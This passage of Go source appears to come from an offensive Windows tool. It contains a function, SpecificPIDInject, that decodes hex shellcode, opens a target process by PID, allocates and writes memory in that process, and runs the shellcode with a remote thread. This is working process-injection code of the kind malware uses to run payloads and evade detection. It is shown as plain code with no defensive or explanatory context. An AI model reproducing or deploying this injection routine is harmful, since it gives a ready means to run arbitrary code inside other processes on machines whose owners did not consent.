uintptr(zeroValue), 0, uintptr(zeroValue)) 116 | if status != 0 { 117 | break 118 | } 119 | } 120 | } 121 | 122 | func SpecificPIDInject(code string, pid2 int) { 123 | shellcode, err := hex.DecodeString(code) 124 | if err != nil { 125 | return 126 | } 127 | 128 | shellcodeAddr := allocate(uintptr(len(shellcode))) 129 | AddrPtr := (*[990000]byte)(unsafe.Pointer(shellcodeAddr)) 130 | for shellcodeIdx, shellcodeByte := range shellcode { 131 | AddrPtr[shellcodeIdx] = shellcodeByte 132 | } 133 | 134 | remoteProcess, _, _ := winOpenProc.Call(winProcCreateThread|winProcQueryInfo|winProcMemOp|winProcMemWrite|winProcMemRead, uintptr(zeroValue), uintptr(pid2)) 135 | remoteProcessMem, _, _ := winMemAllocEx.Call(remoteProcess, uintptr(zeroValue), uintptr(len(shellcode)), winMemReserve|winMemCommit, winAllocMemAsRW) 136 | winWriteProcMem.Call(remoteProcess, remoteProcessMem, shellcodeAddr, uintptr(len(shellcode)), uintptr(zeroValue)) 137 | status, _, _ := winCreateRemoteThread.Call(remoteProcess, uintptr(zeroValue), 0, remoteProcessMem, uintptr(zeroValue), 0, uintptr(zeroValue)) 138 | fmt.Println(status) 139 | } 140 | --------------------------------------------------------------------------------